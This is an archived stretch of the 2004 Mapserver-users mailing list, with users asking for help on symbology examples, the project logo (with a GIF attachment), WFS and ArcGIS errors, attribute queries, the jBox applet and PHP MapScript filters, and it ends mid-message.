From hjulien at nrcan.gc.ca  Fri Jan  9 13:58:04 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Fri, 9 Jan 2004 16:58:04 -0500
Subject: [Mapserver-users] visual symbology guide
Message-ID: <06B403677C41D51194550002A55107D201F78F96@s5-stf1-r1.nrn.nrcan.gc.ca>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C3D6FA.D95EA40F
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi
Are you looking for a Mapserver logo?
I found this one on a web site.
However I don't remember which one!
It's pretty good.

I don't know if there is an official one?

H=E9ryk


-----Message d'origine-----
De : bartvde at xs4all.nl [mailto:bartvde at xs4all.nl]
Envoy=E9 : Friday, January 09, 2004 4:04 PM
=C0 : mapserver-users at lists.gis.umn.edu
Objet : [Mapserver-users] visual symbology guide


Hi list,

is there a visual symbology guide from Mapserver showing the =
cartographic
power of Mapserver?

If there is none, I would be interested in creating one if people would
send me screendumps of examples.

Best regards,
Bart
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


------_=_NextPart_000_01C3D6FA.D95EA40F
Content-Type: image/gif;
	name="mapserver.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="mapserver.gif"

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
+QsBADs=

------_=_NextPart_000_01C3D6FA.D95EA40F--


From teb at mallit.fr.umn.edu  Fri Jan  9 14:17:05 2004
From: teb at mallit.fr.umn.edu (Thomas E Burk)
Date: Fri, 9 Jan 2004 16:17:05 -0600 (CST)
Subject: [Mapserver-users] visual symbology guide
Message-ID: <200401092217.i09MH55j000527@mallit.fr.umn.edu>

It's not the official because there is no official. That's sort 
of a sore point for some of us. We've tried to come up with a 
logo but can't get people to agree. We paid someone to create a 
logo used at the MapServer User Meeting, but that had detractors. 
We could just take the executive decision approach and ram one 
down peoples' throats but that wouldn't really be in the spirit 
of things, would it. So I'd just say for now use what strikes you 
as appropriate and share it (via this list e.g.) - who knows 
maybe someone WILL come up with something that knocks people 
over.

>From our point of view it's just "helpful" when people 
acknowledge on their site that they are using MapServer (and link 
to the home page so people know which mapserver it really is). A 
fair majority of people don't do that.

Tom


>
>Hi
>Are you looking for a Mapserver logo?
>I found this one on a web site.
>However I don't remember which one!
>It's pretty good.
>
>I don't know if there is an official one?
>
>H?ryk
>
>
>-----Message d'origine-----
>De : bartvde at xs4all.nl [mailto:bartvde at xs4all.nl]
>Envoy? : Friday, January 09, 2004 4:04 PM
>? : mapserver-users at lists.gis.umn.edu
>Objet : [Mapserver-users] visual symbology guide
>
>
>Hi list,
>
>is there a visual symbology guide from Mapserver showing the 
cartographic
>power of Mapserver?
>
>If there is none, I would be interested in creating one if 
people would
>send me screendumps of examples.
>
>Best regards,
>Bart
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>




From bartvde at xs4all.nl  Fri Jan  9 14:30:25 2004
From: bartvde at xs4all.nl (bartvde at xs4all.nl)
Date: Fri, 9 Jan 2004 23:30:25 +0100 (CET)
Subject: [Mapserver-users] visual symbology guide
In-Reply-To: <06B403677C41D51194550002A55107D201F78F96@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F78F96@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <22600.194.109.194.13.1073687425.squirrel@webmail.xs4all.nl>

Hi H?ryk,

no not looking for a logo, but looking for practical and visual examples
of what is possible with Mapserver SYMBOL definitions.

Ofcourse there is a SYMBOL part in the MAP file reference guide, but this
is just plain text. I think it would be a nice idea to have e.g. a PDF
document containing visual examples of what nice things are possible with
SYMBOL definitions, and next to it the SYMBOL definition used to generate
that kind  of symbol.

Best regards,
Bart

> Hi
> Are you looking for a Mapserver logo?
> I found this one on a web site.
> However I don't remember which one!
> It's pretty good.
>
> I don't know if there is an official one?
>
> H?ryk
>
>
> -----Message d'origine-----
> De : bartvde at xs4all.nl [mailto:bartvde at xs4all.nl]
> Envoy? : Friday, January 09, 2004 4:04 PM
> ? : mapserver-users at lists.gis.umn.edu
> Objet : [Mapserver-users] visual symbology guide
>
>
> Hi list,
>
> is there a visual symbology guide from Mapserver showing the cartographic
> power of Mapserver?
>
> If there is none, I would be interested in creating one if people would
> send me screendumps of examples.
>
> Best regards,
> Bart
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>



From stephen.clark at focus.ca  Fri Jan  9 16:02:57 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Fri, 9 Jan 2004 16:02:57 -0800
Subject: [Mapserver-users] visual symbology guide : ISO linetypes
References: <06B403677C41D51194550002A55107D201F78F96@s5-stf1-r1.nrn.nrcan.gc.ca> <22600.194.109.194.13.1073687425.squirrel@webmail.xs4all.nl>
Message-ID: <061701c3d70d$1ad7c1c0$6c000a0a@sclark>

Bart,

I am also looking for some SYMBOL examples that conform to ISO standards for
display of lines.
See the post from me earlier today.

(the list) :
If you have some examples then share them with us.

thanks
Stephen


----- Original Message ----- 
From: 
To: "Julien, Heryk" 
Cc: 
Sent: Friday, January 09, 2004 2:30 PM
Subject: Re: [Mapserver-users] visual symbology guide


> Hi H?ryk,
>
> no not looking for a logo, but looking for practical and visual examples
> of what is possible with Mapserver SYMBOL definitions.
>
> Ofcourse there is a SYMBOL part in the MAP file reference guide, but this
> is just plain text. I think it would be a nice idea to have e.g. a PDF
> document containing visual examples of what nice things are possible with
> SYMBOL definitions, and next to it the SYMBOL definition used to generate
> that kind  of symbol.
>
> Best regards,
> Bart
>
> > Hi
> > Are you looking for a Mapserver logo?
> > I found this one on a web site.
> > However I don't remember which one!
> > It's pretty good.
> >
> > I don't know if there is an official one?
> >
> > H?ryk
> >
> >
> > -----Message d'origine-----
> > De : bartvde at xs4all.nl [mailto:bartvde at xs4all.nl]
> > Envoy? : Friday, January 09, 2004 4:04 PM
> > ? : mapserver-users at lists.gis.umn.edu
> > Objet : [Mapserver-users] visual symbology guide
> >
> >
> > Hi list,
> >
> > is there a visual symbology guide from Mapserver showing the
cartographic
> > power of Mapserver?
> >
> > If there is none, I would be interested in creating one if people would
> > send me screendumps of examples.
> >
> > Best regards,
> > Bart
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From jvanulde at nrcan.gc.ca  Fri Jan  9 17:24:03 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Fri, 9 Jan 2004 20:24:03 -0500
Subject: [Mapserver-users] WFS throws an error when ArcGIS connects
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B89562@s5-van1-r1.ess.nrcan.gc.ca>

Hello all,

We are trying to connect to a MapServer WFS (v.4.0) with ArcGIS but the CGI
crashes every time a feature type is requested.  Works fine for the get
capabilities.  Anyone have this problem?  Also, some layers don't want to
respond to get feature.... Any suggestions would be helpful.

Cheers,

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


From jjn at destraat.nl  Sat Jan 10 01:36:16 2004
From: jjn at destraat.nl (Jerfaas)
Date: Sat, 10 Jan 2004 10:36:16 +0100
Subject: [Mapserver-users] abnormal program termination: errors in .dgn files ?
Message-ID: <3.0.32.20040110103616.00b969f8@pop.casema.net>

Hi,

I have about 15 .dgn files to display in Mapserver. I have problems with
loading 2 of them, because it causes a abnormal program termination. (The
others can be displayed without any problems in Mapserver.)

I can load the 2 dgn without any problems in ArcExplorer. Does any one have
a suggestion what I can do to find out what is wrong with the 2 .dgn files ?

Thanks in advance,

Jerfaas de Jong


From bartvde at xs4all.nl  Sat Jan 10 02:22:13 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Sat, 10 Jan 2004 11:22:13 +0100
Subject: [Mapserver-users] WFS throws an error when ArcGIS connects
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B89562@s5-van1-r1.ess.nrcan.gc.ca>
References: <8AE17DD6AA4FD51191CD0002A551168101B89562@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: 

Hi Joost,

did you try with a HTTP sniffer to see what exact requests ArcGIS is 
generating for Mapserver?

BTW is the interoperability pack for ArcGIS now on the market?

I can't even connect with ArcExplorer to a Mapserver WFS because 
apparently ArcExplorer needs the Abstract child elemenent from  
in the Capabilities although according to the OGC schema it is optional 
().

com.esri.axl.marshal.UnMarshallingException: No data for element Abstract 
inside sequence in line 1.

Best regards,
Bart

On Fri, 9 Jan 2004 20:24:03 -0500, Van Ulden, Joost  
wrote:

> Hello all,
>
> We are trying to connect to a MapServer WFS (v.4.0) with ArcGIS but the 
> CGI
> crashes every time a feature type is requested.  Works fine for the get
> capabilities.  Anyone have this problem?  Also, some layers don't want to
> respond to get feature.... Any suggestions would be helpful.
>
> Cheers,
>
> ============================================
> Joost van Ulden
> Programmer/Analyst
> Natural Resources Canada / Ressources naturelles Canada
> Geological Survey of Canada / Commission geologique du Canada
> 101 - 605 Robson Street / 101 - 605 rue Robson
> Vancouver, B.C. / Vancouver (C.-B.)
> V6B 5J3
> Office/Bureau:  604.666.7525
> fax/telecopieur: 604.666.1124
> jvanulde at nrcan.gc.ca
> ============================================
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



-- 
  


From bartvde at xs4all.nl  Sat Jan 10 02:23:42 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Sat, 10 Jan 2004 11:23:42 +0100
Subject: [Mapserver-users] abnormal program termination: errors in .dgn files ?
In-Reply-To: <3.0.32.20040110103616.00b969f8@pop.casema.net>
References: <3.0.32.20040110103616.00b969f8@pop.casema.net>
Message-ID: 

Hi,

did you try inspecting the 2 dgn files with ogrinfo?

Best regards,
Bart

On Sat, 10 Jan 2004 10:36:16 +0100, Jerfaas  wrote:

> Hi,
>
> I have about 15 .dgn files to display in Mapserver. I have problems with
> loading 2 of them, because it causes a abnormal program termination. (The
> others can be displayed without any problems in Mapserver.)
>
> I can load the 2 dgn without any problems in ArcExplorer. Does any one 
> have
> a suggestion what I can do to find out what is wrong with the 2 .dgn 
> files ?
>
> Thanks in advance,
>
> Jerfaas de Jong
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



-- 
  


From niko at isl.net.mx  Sun Jan 11 12:43:25 2004
From: niko at isl.net.mx (Nikolai Vladychevski)
Date: Sun, 11 Jan 2004 20:43:25 GMT
Subject: [Mapserver-users] itemquery doesn't find records
Message-ID: <20040111204325.23787.qmail@quazartecnologia.com>

Hello, 

I am trying about 4 hours to make an itemquery query without success. I
have tryed many qstring values but I still get:
"msQueryByAttributes(): Search returned no results. No matching record(s) 
found." error. 

I don't know what to do, can somebody give any tips how to debug this ? 

This is my MapServer version:
MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF
INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE 

This is the line in perl that I output to the browser:
print 
$q->header(-location=>"http://$ENV{HTTP_HOST}/cgi-bin/mapserv?layer=enlaces& 
layer=emplazamientos&map=".uri_escape("/var/www/html/map/my.map")."&scale=20 
0&program=".uri_escape("/cgi-bin/mapserv")."&savequery=true&zoomdir=0&mode=i 
temquery&qitem=".uri_escape("ID_EMPLAZ")."&qstring=".uri_escape("[ID_EMPLAZ] 
= 
'02-02290'")."&qlayer=emplazamientos&mapext=-117.124014+14.530688+-86.709056 
+32.718120&codempl=02-02290&map_web_imagepath=".uri_escape("/var/www/html/tm 
p/")."&map_web_imageurl=".uri_escape("/tmp/")."&zoomsize=2"); 

This is my map gobal extent: 

EXTENT -117.124014 14.530688 -86.709056 32.718120 

This is the layer definition 

 LAYER
       NAME emplazamientos
       DATA emplazamientos
       DEBUG ON
       STATUS OFF
       TYPE POINT
       TOLERANCEUNITS pixels
       TOLERANCE 5
       FILTERITEM 'ID_EMPLAZ'
       FILTER '%codempl%'
       CLASS
           NAME 'emplazamientos'
           COLOR 0 0 255
           SYMBOL 'circle'
           SIZE 5
           TEMPLATE emplazamiento.html
       END
  END 

The record exists: 

[root at localhost map]# ogrinfo -al data/emplazamientos.shx |grep -A3 -B4 
02-02290
OGRFeature(emplazamientos):9
 NOMBRE (String) = Esperanza
 LAT (Real) =    -115.4952
 LON (Real) =      32.6488
 ID_EMPLAZ (String) = 02-02290
 ID_CLASE (Integer) = 2290
 POINT (-115.49517100 32.64879900)

The POINT is inside the extent:
 -117.124014 (-115.49517100) -86.709056
  14.530688 (  32.64879900)  32.718120 

The template file exists: 

[root at localhost map]# cat emplazamiento.html
Emplazamiento: [ID_EMPLAZAM]:

Nombre: [NOMBRE]

Latitud: [LAT]

Longitud: [LON]

ID_Clase: [ID_CLASE]

[root at localhost map]# 


Full mapserver file: 


MAP
 NAME TRANSMISION
 STATUS ON
 IMAGETYPE PNG
 EXTENT -117.124014 14.530688 -86.709056 32.718120
 SIZE 800 600
 SHAPEPATH "data"
 IMAGECOLOR 255 255 255
 FONTSET fonts/fonts.list
 WEB
   HEADER map_header.html
   TEMPLATE map.html
   FOOTER map_footer.html
   MINSCALE 0.001
   MAXSCALE 200
   IMAGEPATH "/var/www/html/tmp"
   IMAGEURL "/tmp"
   METADATA
	WMS_TITLE "MapServer"
	WMS_ABSTRACT "Despliege de Enlaces y Emplazamientos"
	WMS_ACCESSCONSTRAINTS none
   END 

 END 

 SCALEBAR
   IMAGECOLOR 255 255 255
   LABEL
     COLOR 0 0 0
     SIZE TINY
   END
   STYLE 1
   SIZE 100 2
   COLOR 0 0 0
   UNITS KILOMETERS
   INTERVALS 2
   TRANSPARENT FALSE
   STATUS ON
 END 

 QUERYMAP
   SIZE 800 600
   STATUS ON
   STYLE HILITE
   COLOR 255 0 0
 END

 REFERENCE
	IMAGE "mxmap.gif"
       EXTENT -117.124014 14.530688 -86.709056 32.718120
	SIZE 250 155
	STATUS ON
	MAXBOXSIZE 246
	COLOR -1 -1 -1
	OUTLINECOLOR 255 0 0
 END 

 PROJECTION
	"proj=laea"
	"ellps=clrk66"
	"lat_0=23"
	"lon_0=-110"
 END 

 LAYER
	NAME region
	DATA region
	STATUS DEFAULT
	TYPE POLYGON 

	CLASS
	    COLOR 255 255 255
	    OUTLINECOLOR 32 32 32
	END
  END 

 LAYER
	NAME enlaces
	DATA enlaces
	STATUS ON
	TYPE LINE
       TOLERANCEUNITS pixels
	TOLERANCE 3
	CLASSITEM "id_enlace"
	LABELITEM "id_enlace"
	SYMBOLSCALE 0.001
	LABELMAXSCALE 0.1
	CLASS
	    COLOR 0 255 0
	    OUTLINECOLOR 0 0 0
	    LABEL
		TYPE TRUETYPE
		ANTIALIAS TRUE
		FONT arial
		COLOR 0 0 0
		BACKGROUNDCOLOR 255 255 230
		SIZE 8
		MINSIZE 8
		MAXSIZE 12
		ANGLE AUTO
		POSITION CC
		MINFEATURESIZE AUTO
		BUFFER 2
	    END
	TEMPLATE enlaces.html
	END
 END 

 LAYER
	NAME emplazamientos
	DATA emplazamientos
	DEBUG ON
	STATUS OFF
	TYPE POINT
       TOLERANCEUNITS pixels
	TOLERANCE 5
	FILTERITEM 'ID_EMPLAZ'
	FILTER '%codempl%'
	CLASS
	    NAME 'emplazamientos'
	    COLOR 0 0 255
	    SYMBOL 'circle'
	    SIZE 5
	    TEMPLATE emplazamiento.html
	END
  END 

  SYMBOL
 	NAME 'circle'
	TYPE ELLIPSE
	POINTS 1 1 END
	FILLED TRUE
  END
END 



From wim.blanken at planet.nl  Sun Jan 11 15:07:27 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Mon, 12 Jan 2004 00:07:27 +0100
Subject: [Mapserver-users] Jbox Problem
Message-ID: <001701c3d897$ba5bde30$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_WH+rkGn0/9A6TkBjjksOTQ)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

Hello List,

I tried out the newest version of the jBox applet. 
It works perfectly on a windows client with JRE 1.4 but not
on a standard internet explorer 6.0. The former version of JBox (without the
drag and line features work OK on this internet explorer 6.0.
Does anybody have some insight how to get this wonderfull new applet
to work on internet explorer 6.0.
I am running mapserver 4.0 on Red Hat 9.

Sincerely,

W. Blanken
The Netherlands


--Boundary_(ID_WH+rkGn0/9A6TkBjjksOTQ)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









Hello List,


 


I tried out the newest version of the jBox applet. 



It works perfectly on a windows client with JRE 1.4 
but not


on a standard internet explorer 6.0. The former 
version of JBox (without the


drag and line features work OK on this internet 
explorer 6.0.


Does anybody have some insight how to get this 
wonderfull new applet


to work on internet explorer 6.0.


I am running mapserver 4.0 on Red Hat 
9.


 


Sincerely,


 


W. Blanken


The Netherlands


 


--Boundary_(ID_WH+rkGn0/9A6TkBjjksOTQ)--


From fx.gamoy at mapxplore.com  Sun Jan 11 16:54:47 2004
From: fx.gamoy at mapxplore.com (FX Gamoy)
Date: Mon, 12 Jan 2004 01:54:47 +0100
Subject: [Mapserver-users] setfilter with integer values
Message-ID: <000c01c3d8a6$ad5622e0$0102a8c0@polo>

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C3D8AF.0ECBCEA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Happy new year everybody!!

i am using a binary 3.6.3 release of mapserver with php_mapscript.
I am having trouble with the setquery method and integer datas..
I am using tab files
i would like to select the feature where index=3D2 for example

$oLayer =3D $oMapSession->oMap->getLayerByName( $http_form_vars[ =
"layerref" ] );
$query=3D2;
$oLayer->setFilter($query);
=20
  if (@$oLayer->queryByAttributes(MS_SINGLE) =3D=3D MS_SUCCESS)
{=20
......
}
i have used successfully this method with string values ($query=3D'id2') =
but never with integer values..

the log file return me :

[Mon Jan 12 01:36:44 2004] [error] [client 192.168.1.2] PHP Fatal error: =
 MapServer Error in getSymbol(): (169):(147)

Is it better or faster to use integer values or string values to perform =
query, index or expression?

Any suggestion for my problem??

thanks

fx
------=_NextPart_000_0009_01C3D8AF.0ECBCEA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









Happy new year everybody!!


 


i am using a binary 3.6.3 release of =
mapserver with=20
php_mapscript.


I am having trouble with the setquery =
method and=20
integer datas..


I am using tab files


i would like to select the feature =
where=20
index=3D2 for example


 


$oLayer =3D =
$oMapSession->oMap->getLayerByName(=20
$http_form_vars[ "layerref" ]=20
);
$query=3D2;
$oLayer->setFilter($query);
 
<=
FONT=20
face=3DArial size=3D2>  if =
(@$oLayer->queryByAttributes(MS_SINGLE) =3D=3D=20
MS_SUCCESS)
{ 


......


}


i have used successfully this method =
with string=20
values ($query=3D'id2') but never with integer values..


 


the log file return me :


 


[Mon Jan 12 01:36:44 2004] [error] =
[client=20
192.168.1.2] PHP Fatal error:  MapServer Error in getSymbol():=20
(169):(147)


 


Is it better or faster to use integer =
values or=20
string values to perform query, index or expression?


 


Any suggestion for my =
problem??


 


thanks


 


fx


------=_NextPart_000_0009_01C3D8AF.0ECBCEA0--



From opengis at libero.it  Mon Jan 12 00:15:22 2004
From: opengis at libero.it (opengis_libero)
Date: Mon, 12 Jan 2004 09:15:22 +0100
Subject: [Fwd: Re: [Mapserver-users] Geocode]
Message-ID: <4002579A.2030804@libero.it>

 > The question is: Is There free tool to Geocode with Mapserver?

Maybe it's useful
http://postgis.refractions.net/pipermail/postgis-users/2002-September/001450.html





From V.Honzik at sh.cvut.cz  Mon Jan 12 02:16:47 2004
From: V.Honzik at sh.cvut.cz (Vojtech Honzik)
Date: Mon, 12 Jan 2004 11:16:47 +0100 (CET)
Subject: [Mapserver-users] PHP/Mapscript with enabled PostGIS connection
In-Reply-To: <20040110180003.5776.56025.Mailman@lists.gis.umn.edu>
Message-ID: 

Does anybody have Windows binary with PHP/MapScript where one can use
connection to PostGIS layers? I thougth it would be in standard
PHP/Mapscpript distribution packages but to my surprize there is not. Is
there any practical problem why it is not in standard distribution?

Thank you, Vojtech Honzik




From rich at greenwoodmap.com  Sun Jan 11 23:09:32 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Mon, 12 Jan 2004 07:09:32 +0000
Subject: [Mapserver-users] Jbox Problem
In-Reply-To: <001701c3d897$ba5bde30$6400a8c0@BLANKEN>
References: <001701c3d897$ba5bde30$6400a8c0@BLANKEN>
Message-ID: <4002482C.1070808@greenwoodmap.com>

Wim Blanken (PI) wrote:

> Hello List,
>  
> I tried out the newest version of the jBox applet.
> It works perfectly on a windows client with JRE 1.4 but not
> on a standard internet explorer 6.0. The former version of JBox 
> (without the
> drag and line features work OK on this internet explorer 6.0.
> Does anybody have some insight how to get this wonderfull new applet
> to work on internet explorer 6.0.
> I am running mapserver 4.0 on Red Hat 9.
>  
> Sincerely,
>  
> W. Blanken
> The Netherlands
>  

Use the MS Java VM in IE if you can. Or use the Sun JRE 1.3 VM. I do not 
think your problem has to do with the new drag and line features, but 
more likely the Java compiler that the applet was built with.

Regards,

-- 
Richard Greenwood
www.greenwoodmap.com



From fx.prunayre at oieau.fr  Mon Jan 12 06:37:19 2004
From: fx.prunayre at oieau.fr (=?iso-8859-1?Q?Fran=E7ois-Xavier_Prunayre?=)
Date: Mon, 12 Jan 2004 15:37:19 +0100
Subject: [Mapserver-users] image output problem with mode=map / mapserver 4.0 - NT4 - Tomcat 4.1
Message-ID: <0ad001c3d919$94ed5f20$c6b239c2@NT2.oieau.fr>

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0ACD_01C3D921.F6A0FE40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,=20

I've a strange image output with mapserver 4.0 / NT4 / Tomcat 4.1 when usin=
g mode=3Dmap in the URL.

My URL with a basic HTML template  works.
http://127.0.0.1:8080/agentstruts/cgi/mapserv.exe?
map=3DD:/Tomcat4.1/webapps/agentstruts/mapservice/test/demo.map&=20
Mapserver writes an image to the tmp directory ...

But when I use mode=3Dmap http://127.0.0.1:8080/agentstruts/cgi/mapserv.exe?
map=3DD:/Tomcat4.1/webapps/agentstruts/mapservice/test/demo.map&mode=3Dmap
I get on mozilla "The=20
image "http://127.0.0.1:8080/agentstruts/cgi/mapserv.exe?
map=3DD:/Tomcat4.1/webapps/agentstruts/mapservice/test/demo.map&mode=3Dmap =
cannot=20
be displayed, because it contains errors". IE display the image but it's no=
t=20
correct (stretch & mix of color).=20

This error seems to cause WMS GetMap not to work. WFS GetFeature, DescribeF=
eatureType is ok.=20

It seems to be nearly the same type of problem as=20
http://lists.maptools.org/pipermail/chameleon/2003-August/000045.html
on which Daniel Morissette participate. But no answer to this problem.

The same project on apache / NT4 works !=20

Any ideas ?

Thanks for your help.

Fran=E7ois-Xavier Prunayre
IOW - GIS Engineer
fx.prunayre at oieau.fr

--=20
Ce message a ete verifie par MailScanner pour des virus ou des polluriels e=
t rien de suspect n'a ete trouve.

Les donnees et renseignements contenus dans ce message sont personnels, con=
fidentiels et secrets.Toute publication, utilisation ou diffusion, meme par=
tielle, doit etre autorisee.

Any data and information contained in this electronic mail is personal, con=
fidential and secret. Any total or partial publication, use or distribution=
 must be authorized.


------=_NextPart_000_0ACD_01C3D921.F6A0FE40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









Hi all, 

I've a strange image outpu=
t with=20
mapserver 4.0 / NT4 / Tomcat 4.1 when using mode=3Dmap in the URL.

M=
y URL=20
with a basic HTML template <img SRC=3D"[img]" width=3D540=20
height=3D340 border=3D1> works.
http://127.0.0.1=
:8080/agentstruts/cgi/mapserv.exe?
map=3DD:/Tomcat4.1/webapps/agents=
truts/mapservice/test/demo.map&=20

Mapserver writes an image to the tmp directory ...

But when I us=
e=20
mode=3Dmap http://127.0.0.1=
:8080/agentstruts/cgi/mapserv.exe?
map=3DD:/Tomcat4.1/webapps/agents=
truts/mapservice/test/demo.map&mode=3Dmap
I=20
get on mozilla "The 
image "http://127.0.0.1=
:8080/agentstruts/cgi/mapserv.exe?
map=3DD:/Tomcat4.1/webapps/agents=
